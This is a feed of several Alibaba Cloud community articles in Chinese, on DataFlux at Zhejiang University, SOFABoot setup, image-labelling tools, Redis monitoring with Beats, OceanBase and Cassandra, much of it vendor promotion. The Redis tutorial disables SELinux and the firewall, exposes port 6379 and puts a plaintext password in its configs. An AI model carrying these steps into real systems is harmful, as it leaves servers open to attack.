    浙江大学有多个校区,现有学生50000多人,教职工8000多人,拥有数十幢教学大楼,数百个智慧教室。浙大网上的IT资产和应用分布广泛,有浙大飞天专有云,浙大机房Vmvare虚拟集群,浙大阿里云公共云。应用涵盖了浙大钉,远程保障,门户应用等,设备端包含网路设备,安全设备,教室主机设备等,分散在各个不同的校区,如何实现通过实时统一大数据平台,助力浙大校园智能管理,这是一个值得深思的问题。

    驻云作为国内领先的IT技术服务提供商,一直致力于为企业在IT方面提供技术赋能,以丰富的实践经验和服务能力为企业提供专业的解决方案,自公司成立以来,已累计服务企业超过5000家。此次“网上浙大”项目,驻云携手阿里云在两周时间内,部署DataFlux实时统一大数据平台,通过DataV大屏输出数据,完成IT基础设施和应用监控数据的统一管理,助力浙大利用实时数据驱动校园智能管理。

    DataFlux作为一个实时统一大数据平台,采用阿里云时序数据库,并引入阿里云ClickHouse,能提供全场景的数据洞察分析处理能力,通过对任何来源、类型、规模的实时数据进行监控、分析和处理,释放数据价值。DataFlux强大的数据处理能力背后离不开阿里云各技术栈的支持,阿里云的时序数据库团队为DataFlux提供稳定高可用的数据存储底座,达摩院为DataFlux提供ClickHouse的技术支持等,阿里云数据库团队的专业支持让DataFlux能够为企业提供更稳定的产品和服务。

    浙大数据应用.png

    DataFlux基于容器技术标准化安装部署,通过Datakit标准数据采集工具,DataWay网关部署,DataFlux函数平台数据处理,统一输出到DataV进行展示和管理。

    在DataFlux方案部署前,由于浙大IT资产种类繁多,IT管理人员需要登录多个平台监控数据状况;部署后只需通过实时统一大数据平台,即可监控多个来源渠道的数据,节省故障排查时间,提高IT设施和业务平台的稳定性和安全性。以前在教学过程中才能发现的教学设备故障,现在通过DataFlux实时数据运营洞察,即可提前预知并采取行动,保障教学活动正常进行,为全校师生提供可靠的IT服务,实现智慧校园统一管理。

    浙大智慧校园管理.png

    浙江大学信息技术中心主任陈文智说:“教育信息化从应用型作坊式全面升级为体系化平台式建设是大势所趋,未来,教育数据共享将成为常态,数据智能将成为推动教育科研的核心动力。”

    2020年,随着云原生技术的发展,云计算行业迎来新的机遇,上云已是后疫情时期企业业务发展的趋势。驻云作为阿里云使命级合作伙伴,致力于为企业提供更优质的产品和服务。驻云DataFlux实时统一大数据平台,已入选“阿里云心选”产品,在阿里云云市场全面上线。“阿里云心选”是由阿里云用心挑选”质量最优、服务最优、口碑最优”的精品软件,云市场官方自营品牌背书,提供优质云上软件服务,更安全、更便捷。

    ]]>
    数据库大牛:数据库那些事儿,创新实战!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 MVP时间线上峰会精选四大专场内容:技术管理、数据库、物联网、云原生,聚焦于技术进阶、行业实战,帮助开发者快速成长。让开发者能够领略到管理者的思维、数据库在行业中的实战应用、物联网新技术新场景的实操以及云原生的精彩故事!

    MVP时间线上峰会,一键直达

    数据库是一项成熟的技术,已存在了40年。计算和数据上云的快速发展,计算和存储资源池化带来系统设计的颠覆,传统数据库步履蹒跚。本期数据库集锦文章带你来看,数据库那些事儿!

    数据库专场精彩视频

    image.png

    DataFlux--开启全新实时数据应用方式

    从数据应用来说,只有实时数据才能驱动业务,实时数据在接入、计算、BI都是实时的,在实时驱动业务后,能对现有的业务产生较大的改变,可以大大提升业务运转效率。

    本次直播上海驻云CEO蒋烁淼、阿里云数据库事业部 NoSQL产品部总经理叶翔介绍了驻云推出的统一实时大数据平台DataFlux,通过技术手段充分发挥实时数据价值,面向企业提供全场景的数据洞察分析处理能力。强大的专业数据接入实现面向业务的多场景支持,以其高可定制性为企业实现将一切业务连接的可能。你还不赶快来看看?

    查看《DataFlux:实时数据应用的新选择》精彩文章,请戳这里!

    云原生数据库POLARDB的应用探索

    资深DBA赵怀刚为大家带来云原生数据库POLARDB的应用探索的介绍。内容包括为什么选择POLARDB,相比RDS、MySQL有哪些新特性和优势,以及最佳适用场景的探索和实践。

    查看《云原生数据库POLARDB的应用探索》精彩文章,请戳这里!

    守护你的数据库:数据库容灾方案介绍

    近期微盟数据库被恶意删除的事件,引起了大家对企业数据安全的关注。企业数据库安全面临哪些挑战?我们遇到过哪些数据安全事故?如何保障企业最重要的数据资产不受损害?袋鼠云的数据库架构师张新铭为大家做了数据库容灾相关知识的分享。

    分享内容分为以下四个方面:数据库容灾的基本原理和方法;主流数据库容灾技术;数据库容灾体系中的陷阱;数据库容灾体系建设。

    查看《守护你的数据库:数据库容灾方案介绍》精彩文章,请戳这里!

    如何将PostgreSQL与MySQL相结合,实现1+1>2的组合拳?

    阿里云智能数据库产品事业部高级产品专家德哥为大家带来如何将PostgreSQL与MySQL相结合,实现1+1>2的组合拳的介绍。

    MySQL是最流行的开源数据库,PostgreSQL(PG)是最先进的开源数据库。两者结合,可以发挥1+1大于2的超级效果,解决应用原本无法解决的问题。 本议题将为您详细介绍如何将PG与MySQL结合使用,提升应用价值,以及5大业务场景和联合应用解读。

    查看《如何将PostgreSQL与MySQL相结合,实现1+1>2的组合拳?》精彩文章,请戳这里!

    【MVP时间】线上峰会,一键收藏

    您还可以关注阿里云 MVP技术圈,查看更多精彩内容。如果您有新的想法可以在评论区留言,欢迎交流。

    ]]>
    为 SOFABoot 配置 JDK 和 Maven 环境-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 80.jpeg
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    一、安装 JDK

    1. 版本要求

    SOFABoot 基于 Spring Boot 框架开发,要求 JDK 版本 ≥ 8。

    2. 安装步骤

    (1)前往 Oracle 官网下载与您的操作系统相符的 Java SE 安装包
    (2)安装 JDK。详情参考 Oracle 官方文档 > 如何安装 JDKInstallation Guide(英文)
    (3)配置系统环境变量。 详情参考 Oracle 官方文档变量 PATH 和 CLASSPATH 介绍与配置(英文)

    • Windows 系统:

      • JAVA_HOME:配置为 JDK 的安装路径,如 C:Program FilesJavajdk1.8.0_181
      • PATH:增加 %JAVA_HOME%bin 文件夹路径。多个路径间使用英文分号(;)分隔。
    • MacOS 及 Linux 系统:示例如下。如果使用 binary 安装包 (dmg 或 RPM),您可能无需手动配置环境变量。可直接跳至下一步检查 Java 是否可用。
    export JAVA_HOME=/${path_to_jdk_dir}/jdk1.8.0_181
    export PATH=/${path_to_jdk_dir}/jdk1.8.0_181/bin:$PATH

    (4)检查 Java 是否安装成功:

    $ java -version

    二、安装 Apache Maven

    1. 版本要求

    SOFABoot 要求 Apache Maven 版本 ≥ 3.2.5。

    2. 安装步骤

    (1)前往 Apache Maven 官网 下载安装包
    (2)解压安装包文件至安装目录:

     $ unzip apache-maven-3.6.1-bin.zip

    或:

     $ tar xzvf apache-maven-3.6.1-bin.tar.gz

    (3)配置环境变量:

    • Windows 系统:

      • M2_HOME:配置为 Maven 的安装路径。
      • PATH:增加 %M2_HOME%bin 路径。多个路径间使用英文分号(;)分隔。
        -MacOS 及 Linux 系统: 示例如下。
    export M2_HOME=/${path_to_maven_dir}/apache-maven-3.6.1
    export PATH=/${path_to_maven_dir}/apache-maven-3.6.1/bin:$PATH

    (4)在新的 shell 终端中检查 Maven 是否安装成功:

    $ mvn -v

    更多信息,请参考 Apache Maven 官方文档 

    3. 修改 Maven 本地配置文件

    修改步骤

    SOFABoot 的 JAR 包并未上传到 Maven 的中央仓库。为便于在构建工程时能够正常下载所依赖的 JAR 包,您需要:
    (1)找到本地 Maven 路径下的settings.xml文件。在不同操作系统中,您可参考下述路径,进行查找。
    默认安装路径:

    • Windows 系统:${User directory}.m2settings.xml。示例如下:
      C:UsersuserName_XXX.m2settings.xml
    • Linux or Mac OS: ${User directory}/.m2/settings.xml。示例如下:
      /Users/userName_XXX/.m2/settings.xml

    注意:Linux or Mac OS 系统上,.m2 目录可能被隐藏。Mac OS 可以通过 Command + Shift + . 进行查看;Linux 可以通过 Ctrl + H 进行查看。

    自定义安装路径:

    • Windows 系统:${Maven 在本机的安装路径}confsettings.xml
    • Linux or Mac OS: ${Maven 在本机的安装路径}/conf/settings.xml

    (2)点击 settings,下载 Maven 的 settings.xml 文件,拷贝到步骤 1 路径下,或覆盖掉步骤 1 路径下的settings.xml 文件。

    注意:

    • 通过 Maven 命令创建工程时,默认使用的是 Maven 默认安装路径下的 settings.xml 文件,推荐将下载好的 settings.xml 文件复制到 .m2 目录下,如果 .m2 目录下已有对应同名文件,建议将其覆盖掉。
    • 如果想使用自定义路径下的 Maven settings.xml,建议在 Maven 命令中,通过 mvn -s "file_path" 进行指定,示例如下:
      mvn -s "C:apache-maven-3.3.3confsettingsXXX.xml"

    配置说明

    完成上述步骤 2 的覆盖操作后,settings.xml 中已经配置好的信息主要包括 profile 标签。

    • profile 标签:用来配置一些全局信息及其激活条件,主要包括一些仓库标签,内容如下:
    <profile>
      <id>cloud-open-archetype</id>
      <activation>
          <activeByDefault>true</activeByDefault>
      </activation>
      <repositories>
          <repository>
              <id>archetype</id> <!-- Don't change this! -->
              <url>http://mvn.cloud.alipay.com/nexus/content/groups/open</url>
              <releases>
                  <enabled>true</enabled>
                  <checksumPolicy>fail</checksumPolicy>
              </releases>
              <snapshots>
                  <enabled>true</enabled>
                  <checksumPolicy>warn</checksumPolicy>
              </snapshots>
          </repository>
      </repositories>
    </profile>
    • mirror 标签:用来从镜像仓库中,快速下载所需要的 JAR 包。如果由于依赖导致工程不能启动,可以考虑自行添加镜像标签。

    阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

    ]]>
    一眼看穿的最佳图像标记工具!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

    image.png

    如何从一张图片中获取更多的信息?很多时候只靠文字没法满足需求。这个时候,图像标记或许能帮帮忙。

    图像标记或注释工具就是对图像进行标记,用于边界框对象检测和分割。这是人们突出图像的过程,它们必须对机器可读。借助工具,图像中的对象可以为特定目的被标记,这一过程也使人们能够轻而易举地理解图像中的内容;标签工具帮助人们标记图像中的项目。有几种图像标记工具用于对象检测,它们使用各种技术来检测对象,包括语义、边界框、关键点、长方体等。

    本文就来揭秘图像标注是如何将对象一眼“看穿”的。

    使用图像标记/注释工具进行对象检测的目的

    顾名思义,图像标记工具用于检测图像中的对象。该工具的主要目的是允许用户高亮显示或捕捉图片中的特定对象。为使图像可被机器读取,图像被突出显示。

    图像标注专门用于人工智能和机器学习,因为该工具允许用户使用高亮显示的图像作为训练数据集。利用深度学习算法,可对数据集进行进一步处理。因此借助图像标注工具,你可以开发一个功能性的人工智能模型。

    image.png

    用于图像标注的人工智能和机器学习

    以 AI 为中心的模型是用机器学习建立的。这些模型经过了有效训练,不需要人类干预,能够独立运作。一些图像注释工具用于提供大量的训练数据,计算机视觉需要这些数据。使用该工具,用户可以识别图像中的对象。即使在现实生活中,机器也更容易识别同一组图像。

    事实上,构建能在实际生活中完美运行的人工智能工具并不容易。专家必须首先收集大量高质量的正确数据。大量被注释的图像有助于 AI 工具识别,并最终形成便于理解的模式,比如基于人工智能的工具可以理解人类的外观。

    这些工具能够在没有任何人工干预的情况下在行人周围画出方框。人们有理由认为 AI 正变得越来越聪明。

    image.png

    用于对象检测的顶级图像标记工具

    LabelMe

    LabelMe 是最常用的图像标注工具之一。它由 JavaScript 编写,是一个非常出色的注释工具,该工具专门用于在线图像标注。使用 LabelMe 的好处之一是它更高级,它支持最新的功能,用户能够从任何位置访问该工具,也可以在不安装大型数据库的情况下标记对象。

    image.png

    LabelMe 帮助用户建立专门用于计算机视觉研究的图像数据库,它不仅支持基于系统平台使用,还支持应用程序平台内应用。包含有 2 个图库、标签和探测器,展示了工具的功能。其画廊有多种用途,如存储图像、贴标签、存储等。

    BeaverDam

    BeaverDam 是最流行的视频注释工具之一,该工具用于计算机视觉训练标记,全球工程师都在用它,其作为本地 PythonDjango 服务器运行。此外,它还可以轻松与 mturk 集成,虽然你可能得额外学习 mturk 这么用,特别是涉及到下载注释时。该工具将使人们给视频贴标签变得轻而易举,然而前提是你必须学会高效使用它。

    Imglab

    Imglab 基于网络,用于为对象标记图像,主要用来训练数据链路。此外,有时还为了机器学习的目的被用来训练目标探测器。它独立于平台,因而可直接从浏览器中运行该工具。此外,它不需要任何先决条件,也无需任何高内存空间或 CPU。

    Semantic Segmentation Editor(语义分割编辑器)
    这是最著名的网络标签工具之一。语义分割编辑器额外支持位图的注释,还支持点云标记。大多数情况下,人们使用这个工具来创建人工智能训练数据集,用于 2D和 3D。语义分割编辑器是自主驾驶研究的绝佳选择。此外,它支持 .jpg 以及 .png 图像,是一个易于使用的应用程序。

    图像标注和深度学习

    为深度学习进行的图像检测尤其需要图像注释。图像标注和深度学习还能提高精确度和清晰度。大多数情况下,用于图像标注的是语义分割和三维立方体标注。这一方面未来可期。

    image.png

    用于物体检测图像标记工具种类很多,比起选择最佳工具更重要的是,你得学会如何高效使用它,才能发挥出工具的最大效用。

    image.png

    原文链接:https://yqh.aliyun.com/detail/9403

    ]]>
    阿里云 Elasticsearch 通过 Beats 实现对 Redis 可视化监控-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    Redis 以其易用性的特性而被广泛使用,但管理Redis服务器或集群同样带来诸多挑战——如磁盘故障或内存不足,都可能导致失败,而采集、分析、监控 Redis 日志,可以更好的帮助我们管理Redis服务器。

    最受好评的数据库--Redis


    Redis是一个非常快速的NoSQL数据存储。 尽管它主要用作缓存,但它可以应用于各种形式,例如图形表示和搜索。 客户端库可使用所有主要的编程语言提供,并且所有顶级云服务提供商均将其作为托管服务提供。 在过去的几年中,Redis被Stack Overflow开发人员调查评为最受好评的数据库。如果大家对Redis想有更多的认识,请参照链接tutorialspoint

    准备工作


    本文将为大家介绍,如何通过阿里云Beats插件采集Redis服务器日志数据,并通过阿里云 Elasticsearch 的Kibana实现可视化监控,方便大家更好的管理并了解 Redis 的运行情况。

    准备centos7.4版本 ECS 环境,关闭 selinux、firewall。
    准备阿里云elasticsearch 6.7 版本环境,并使用创建的账号密码登录Kibana
    • 安装 Filebeat以及Metricbeat

    在阿里云 ECS环境中安装 Redis 服务器

    由于 Remi 源提供了目前最新版本的 Redis,我们可以通过该源 YUM 安装目前最新版本的 Redis。

    注:redis默认端口为6379,对外提供服务,请提前在ecs上开启安全组。

    #####通过epel源安装remi源#####
    # yum -y install epel-release
    # yum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
    #####通过指定--enablerepo安装redis
    # yum --enablerepo=remi install -y redis
    
    #####查看redis版本########
    # redis-cli --version
    redis-cli 5.0.9
    
    ####启动redis服务 #######
    # systemctl start redis
    ####设置开机自启动######
    # systemctl enable redis
    # systemctl status redis
    
    ####测试是否正常ping###
    # redis-cli ping
    PONG
    ####查看redis进程####
    # ps -ef | grep redis
    redis    20777     1  0 11:18 ?        00:00:00 /usr/bin/redis-server 127.0.0.1:6379
    root     20805 20430  0 11:23 pts/0    00:00:00 grep --color=auto redis

    安装/配置 Redis 采集日志目录

    通过 yum 安装的 Redis,配置文件默认路径是 /etc/redis.conf,通过以下方式定义Redis日志输出文件名称。

    bind 127.0.0.1
    logfile /var/log/redis/redis-server.log

    说明:

    bind: Redis 监听的地址。
    logfile:Redis 日志文件名称,指定为redis-server.log。

    你可以通过以下指令重启 Redis
    systemctl restart redis

    你可以通过以下指令测试 Redis

    # redis-cli
    127.0.0.1:6379> set name dayu
    OK
    127.0.0.1:6379> get name
    "dayu"
    127.0.0.1:6379> del  name
    (integer) 1

    上面的示例显示了如何将名为dayu的键的值设置为1,检索该值,然后将其删除。 完成后,按Ctrl + C退出redis-cli。

    安装Filebeat

    Filebeat的Redis模块非常容易将Redis日志运送到Elasticsearch并在Kibana中可视化它们。 它为Filebeat设置默认配置(包括日志文件的路径和Redis服务器端点),设置摄取管道以自动将Redis日志的结构解析为Elasticsearch字段,并部署可视化和仪表板以方便日志分析 Kibana中的数据。

    我们打开Kibana界面,并点击界面上左上角的Kibana图标:

    image.png

    选择“Redis日志”

    image.png

    进入安装说明流程,我们可以按照图中显示的命令安装 Filebeat

     curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.7.0-x86_64.rpm
    # sudo rpm -vi filebeat-6.7.0-x86_64.rpm

    配置/filebeat.yml。

    setup.kibana:
    
      # Kibana Host
      # Scheme and port can be left out and will be set to the default (http and 5601)
      # In case you specify and additional path, the scheme is required: http://localhost:5601/path
      # IPv6 addresses should always be defined as: https://[2001:db8::1]:5601
      host: "https://es-cn-0pp19tb17****jc8p.kibana.elasticsearch.aliyuncs.com:5601"
    
    output.elasticsearch:
      # Array of hosts to connect to.
      hosts: ["es-cn-0pp19tb17****jc8p.elasticsearch.aliyuncs.com:9200"]
    
      # Enabled ilm (beta) to use index lifecycle management instead daily indices.
      #ilm.enabled: false
    
      # Optional protocol and basic auth credentials.
      #protocol: "https"
      username: "elastic"
      password: "Elastic@432"

    无需进行任何配置我们就可以完成对redis的监控, 但是如果需要自定义设置,可以通过以下指令,让Filebeat 启动并配置 Redis模块

    # sudo filebeat modules enable redis
    Enabled redis

    在阿里云平台,我们可以通过以下指令,来启动 Filebeat

    注:在安装或升级filebeat时,或在启用新模块后,必须执行setup命令。

    # sudo filebeat setup
    # sudo service filebeat start
    Starting filebeat (via systemctl):                         [  OK  ]

    我们可以在Kibana的 Dashboard 中查看 Redis 的 logs

    image.png

    我们可以看到 Redis 的 overview:

    image.png

    安装 Metribeat


    我们可以使用 Metricbeat 的 Redis 模块周期性地从redis服务器来收集数据。

    Metricbeat由模块和指标集组成。 Metricbeat模块定义了从特定服务(例如Redis,MySQL等)收集数据的基本逻辑。 该模块指定有关服务的详细信息,包括如何连接,收集度量的频率以及收集哪些度量。

    每个模块都有一个或多个指标集。 度量集是模块的一部分,用于获取和构建数据。 指标标准集不是将每个指标标准收集为单独的事件,而是在对远程系统的单个请求中检索多个相关指标标准的列表。 因此,例如,Redis模块提供了一个信息指标集,该信息指标集通过运行INFO命令并解析返回的结果来从Redis收集信息和统计信息。

    image.png

    接下来我们来安装Metricbeat。我们先打开Kibana:

    image.png

    选择“Add metric data”,按照截图中下信息做操作:

    image.png

    我们可以按照图中显示的命令安装 Metricbeat

    # curl -L -O https://artifacts.elastic.co/downloads/beats/metricbeat/metricbeat-6.7.0-x86_64.rpm
    # sudo rpm -vi metricbeat-6.7.0-x86_64.rpm

    在完成相应安装步骤后,通常情况下,我们不需要做任何特殊,如有需求,可以通过以下指令配置 Metricbeat Redis模块。

    # vim /etc/metricbeat/metricbeat.yml
    setup.kibana:
    
       host: "https://es-cn-4591jumei****1zp5.kibana.elasticsearch.aliyuncs.com:5601"
    output.elasticsearch:
      # Array of hosts to connect to.
      hosts: ["es-cn-4591jumei****1zp5.elasticsearch.aliyuncs.com:9200"]
    
      # Enabled ilm (beta) to use index lifecycle management instead daily indices.
      #ilm.enabled: false
      #protocol: "https"
      username: "elastic"
      password: "Elastic@432"

    启动 Redis 模块

    # sudo metricbeat modules enable redis
    Enabled redis
    
    #####启动metricbeat服务########
    # sudo metricbeat setup
    # sudo service metricbeat start

    进入Kibana Dashboard,我们可以看到 Redis 的指标信息。
    image.png

    总结


    Redis 是许多企业体系结构的重要组成部分,确保平稳运行是DevOps工程师优先考虑的事情。 而从Redis日志中获得的相关指标分析,可以提高问题解决能力(例如,通过配置解决警告),但是更重要的是,它们可以帮助员工轻易的了解影响应用程序稳定性的关键问题。

    当存在影响应用程序稳定性的关键问题时,将日志传送到阿里云Elastic Stack 做快速分析,对于快速找到相关问题,并以最小的中断代价,将系统恢复到正常运行至关重要。

    声明:本文由“Beats:使用Elastic Stack对Redis监控”基于阿里云服务环境授权改编

    原文作者:Elastic 中国社区布道师——刘晓国
    合作编辑:Lettie/大禹
    出处链接:https://elasticstack.blog.csdn.net/.


    image.png

    阿里云Elastic Stack】100%兼容开源ES,独有9大能力

    相关活动


    更多折扣活动,请访问阿里云 Elasticsearch 官网

    阿里云 Elasticsearch 商业通用版,1核2G ,SSD 20G首月免费
    阿里云 Logstash 2核4G首月免费


    image.png

    image.png

    ]]>
    数据安全和兼容性再升级 揭秘蚂蚁金服自研数据库OceanBase 2.2版本-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 国产化“自主可控”已成为一个大趋势,为服务器、操作系统、数据库等行业带来新机遇。在数据库领域,近年来很多厂商都相继推出自研的国产数据库。作为数据库国产化的代表,由阿里巴巴和蚂蚁金服完全自研的OceanBase就创新性地将关系型数据库结合分布式架构,打造出全球首个金融级分布式关系型数据库,能够提供高可用、高性能、低成本的计算服务,满足互联网环境下大规模、高并发、大容量等新兴需求,大有翻越Oracle这座高山之势,推动了国产数据库崛起。

    伴随着阿里提出“去IOE化”,2009年,由阳振坤正式带领启动了OceanBase分布式关系数据库项目,剑指取代甲骨文等传统数据库的目标。历经阿里巴巴集团双11的10年磨砺,自主研发的OceanBase数据库以远低于传统商业数据库的成本,更高的可用性,持续刷新世界纪录,成功打破了传统商业数据库在高端金融领域的垄断。

    在2019年,OceanBase数据库凭借多年的技术积淀和实战,成功完成了两项标志性事件。在国内,天猫双11当天,OceanBase数据库再度刷新数据库处理峰值,达6100万次/秒,创造了全新的世界纪录。在国际上,蚂蚁金服OceanBase一举登顶权威机构国际事务处理性能委员会TPC榜单,打破了美国甲骨文公司保持了9年多的世界纪录,成为首个登陆该榜单的中国数据库系统,为国产数据库赢得了世界级的声誉。

    1.jpg

    而最新推出的OceanBase 2.2版本就是成功支撑2019年天猫双11大促的稳定版本,也是用于TPC-C测试且荣登TPC-C性能榜首的版本。相对于前代版本,OceanBase 2.2版本在功能和性能上均有长足的进步,能够兼容MySQL以及Oracle两种模式,在兼容性体验和数据安全优化层面都登上了新台阶。

    由于当前Oracle依然是大多数企业使用的主流数据库,很多企业从传统企业架构转移到云原生架构,面临如何在保障数据的前提下,完成在不同的运行环境进行灵活迁移的难题。同时,大多数使用数据库的传统企业客户不只包括商业企业,还涉及事业单位和党政军,他们对于企业级系统和平台要求颇高。

    因此,兼容 Oracle 的工作一直是 OceanBase 团队长期工作的重点。OceanBase 2.2作为兼容性过程中的一次重大里程碑式的版本,通过技术迭代和实战检验,能够更好地满足高安全、高性能、高可靠性、高可用性、高开发效率、低维护成本、高可扩展性等企业需求。

    目前,OceanBase可实现数千亿条记录、数百TB数据的跨行跨表事务,代码完全可控,可实现城市级容灾,集群中少数派故障时数据不丢,服务不停等。在兼容性方面,OceanBase不仅提供了兼容Oracle的租户模式,还支持了兼容PL/SQL的存储过程,支持一键快速迁移,并提供云上的完整生态服务,帮助企业解决授权费用贵、硬件成本高、架构与运维复杂、迁移难度大等传统数据库难题,让更多企业能够从Oracle 业务的平滑迁移到OceanBase,而无需修改一行代码或是业务调整,真正让科技普惠更多的金融机构和合作伙伴。

    2.jpg

    同时,数据库作为根本的基础支持能力之一,在推动信息化产业的软硬件国产化进度的作用也不可小觑。OceanBase2.2现阶段就已支持多款国产CPU,包括FT2000+,Kunpeng920,Hygon7185和Hygon7280;支持国产操作系统UOS和麒麟操作系统;支持国产中间件和国产OA系统等国产软硬件,为信息化产业国产化打好基础。

    此外,除了数据库平行迁移、产业国产化等兼容性难题,包括金融等行业也更加关注应用数据的安全性。基于蚂蚁金服自有业务实践,OceanBase2.2在保障数据安全方面同样做了升级。像是审计、透明加密、Label security等新特性都为业务的数据安全提供了更加完善的机制保障;而拥有面向分布式并行查询的新执行引擎,可以让OceanBase更好地支持TPC-H这一类的场景测试,是系统面向支持混合负载而迈出的重要一步,为企业普遍需要的高性能交易处理+大容量商业智能提供支持,具备像更多业务输出服务的潜能。

    4月29日14:00,蚂蚁金服OceanBase资深技术专家潘毅将上线蚂蚁金服数字课堂,通过原理介绍、功能演示等多种方式带来OceanBase 2.2版本核心特性解读及部署指南的分享,尤其聚焦2.2版本在兼容性和数据安全层面的亮点,为大家献上满满的干货,绝对不容错过。

    二期-0429数据库.png

    ]]>
    Cassandra开山鼻祖:数据驱动企业变革将会是企业的新价值高地-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 4月27日Cassandra中国社区有幸邀请到两位NoSQL领域的国际专家Jonathan Ellis和邓为先生,分享了《Apache Cassandra引领云原生时代数据架构变革的数据库》
    Jonathan Ellis

    Jonathan Ellis

    Jonathan Ellis是Apache Cassandra开源项目最重要的技术元老、开山鼻祖之一,曾以一己之力为Cassandra开源项目贡献了近50%的代码,曾连续数年担任Apache Cassandra项目主席。他也是Cassandra商业公司DataStax的联合创始人,并一直在DataStax担任技术总监,负责领导Apache Cassandra开源产品策略和开发,以及DataStax Enterprise的技术研发。当前他仍然活跃在分布式数据库系统研发的最前沿,是NoSQL领域国际知名的专家之一。

    在本次分享中,Jonathan Ellis提出数据驱动企业变革将会是企业的新价值高地。他认为Cassandra的永续在线、无中心架构、线性扩展、全球分布等特点十分契合数据驱动的发展要求。他指出,Cassandra是云原生和微服务化场景中最好的NoSQL数据库。

    2010年全球数据总量达到2ZB(270字节),这个数值还在以每两年接近翻一番的速度增长。预计2020年将达到47ZB,比2010年增长超过20倍,近两年的数据总量相当于人类有史以来所有数据量的总和。IDC调查报告显示,企业80%的数据是非结构化数据,且每年按指数增长60%。

    飞速增长的非结构化数据,驱动企业存储和处理数据的技术不断向前变革演进,云原生、微服务化等技术不断涌现,也给NoSQL数据库带来了新的机遇和挑战。而Cassandra的诸多优异特性,非常契合数据驱动企业变革的发展要求。这也是Jonathan Ellis认为Cassandra是云原生和微服务化场景中最好的NoSQL数据库主要原因。

    Cassandra是宽表数据库领域不可或缺的一员。阿里云早在2018年就开始布局Cassandra云数据库,经过持续酝酿和技术积累,于2019年8月完成Apache Cassandra云数据库全球首发公测上线。又于今年2月24日率先商用发布Apache Cassandra云服务,是全球各知名公有云厂商中最早提供原生Apache Cassandra公有云服务的厂商。

    阿里云Cassandra云数据库,基于社区版开源Apache Cassandra内核开发。除了具备Apache Cassandra的各优势特性外,还结合了阿里云ApsaraDB数据库管控技术,在数据库内核、服务化等方面进行了大量优化。具备如下优势:

    1·阿里云Cassandra云数据库优势

    01极致在线,满足应用对永续在线的苛刻要求

    • 采用Masterless无中心架构,节点对等,单节点故障业务无影响,无性能抖动。不会因单节点故障而引发系统切换,导致卡顿、断联等问题,保障业务连续性。
    • 原生支持集群跨DC容灾,无需数据同步工具。应用可基于此原生能力,构建完备的跨AZ、跨Region容灾方案。

    02敏捷易用,开发者易上手

    • 支持类SQL语法CQL,MySQL开发者,基本上一天内就可掌握CQL用法。开发者在RDS数据库上积累的开发经验和使用习惯,可继续沿用,极大降低了学习成本。
    • 支持TTL,历史数据自动过期、自动清理。减少了手工清理,繁琐易错的问题。

    03可调一致性,适配不同场景需求

    • 支持配置强一致性,最终一致等多种方式。满足不同场景对可用性、性能及成本等方面的不同要求。

    2 独特优势

    01企业级高可用保障

    • 提供提供99.9%的企业级SLA保障。
    • 支持集群跨多DC容灾,无需数据同步工具。已有的单DC集群,点击数个按钮即可在线扩展为多DC集群。
    • 提供备份恢复功能,关键数据及时备份、归档。
    • 安全加固,支持SSL、IP白名单、账号鉴权等机制保障数据库安全。

    02企业级服务化能力

    • 云服务线上托管,开箱即用。仅需十余分钟即可构建完备的数据库系统,资源随时申请、释放,应用可快速迭代和试错。
    • 提供可视化的数据库管理及监控告警平台,支持实例监控、告警、nodetool等丰富的运维功能,运维省心省力。
    • 提供迁移功能,您可平滑将现有的Cassandra应用迁移到云上。

    03灵活扩展,起配门槛低

    • 单集群2节点起配,2~500台在线扩展。最大可扩展支持PB级存储容量。满足业务系统初期、中长期的不同规模及成本要求。
    • 支持实例规格升降配,其中高可用配置下还支持在线升降配。从容应对可预知的业务潮汐场景,如双十一等可预知的短时业务高峰,可临时将规格在线升配,待高峰过后可在线降配,以节省成本。

    04高性能、低延迟、低成本

    • 与传统数据库的B+树相比,Cassandra 采用LSM存储模式,专门应对高并发写入场景。阿里云在磁盘并发读写等方面做了大量性能优化,吞吐量在大部分场景下相比开源Cassandra提升20%,最高可提升100%。支持扩展千万OPS读写能力,毫秒级低延迟。
    • 对于性能要求极高的场景,可选择SSD存储来构建高性能在线数据库。去除缓存,简化架构,降低成本。
    • 支持HDD、SSD本地盘。对于海量冷温数据,可使用HDD本地盘存储。存储容量大,成本低,性能高

    据Gartner 预测,到2023年,全球3/4的数据库会跑在云上。阿里云Cassandra云数据库未来将围绕客户业务,持续在性能,成本,易用性,安全、灾备、运维等各个方面不断演进和创新,成就客户。JonathanEllis期待和阿里云后续在Cassandra中国社区建设、解决方案等方面有更为深入的合作。

    直播回放

    错过大牛直播的同学
    直播回放已帮你准备好啦
    扫描二维码或点击此文字即可观看]]> 云迁移工具-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 # 迁移-服务器/VM
    制作镜像上传至各家公有云,各家公有云是有要求的,ECS只支持导入RAW、VHD和qcow2格式的镜像文件。其他镜像文件,需要转换格式后再导入。
    AWS支持导出文件可以VMware ESX 或 Workstation、Microsoft Hyper-V 和 Citrix Xen 虚拟化格式的 Windows 和 Linux VM
    AWS = AWS SMS:AWS Server(涩喂) Migration(买各瑞肾) Service(涩喂司)
    AWS SMS 先将您的服务器 VM 增量复制为可在 Amazon EC2 上部署的云托管的 Amazon 系统映像 (AMI)。使用 AMI,您可以轻松地测试并更新基于云的映像,然后再将它们部署到生产环境中。
    收费:使用 Server Migration Service 不额外收费。您只需按标准费率支付迁移期间所使用的 S3 存储桶、EBS 卷和数据传输费用,以及所运行的 EC2 实例费用。
    网址:https://docs.amazonaws.cn/server-migration-service/latest/userguide/server-migration.html

    阿里云 = 服务器迁移中心SMC
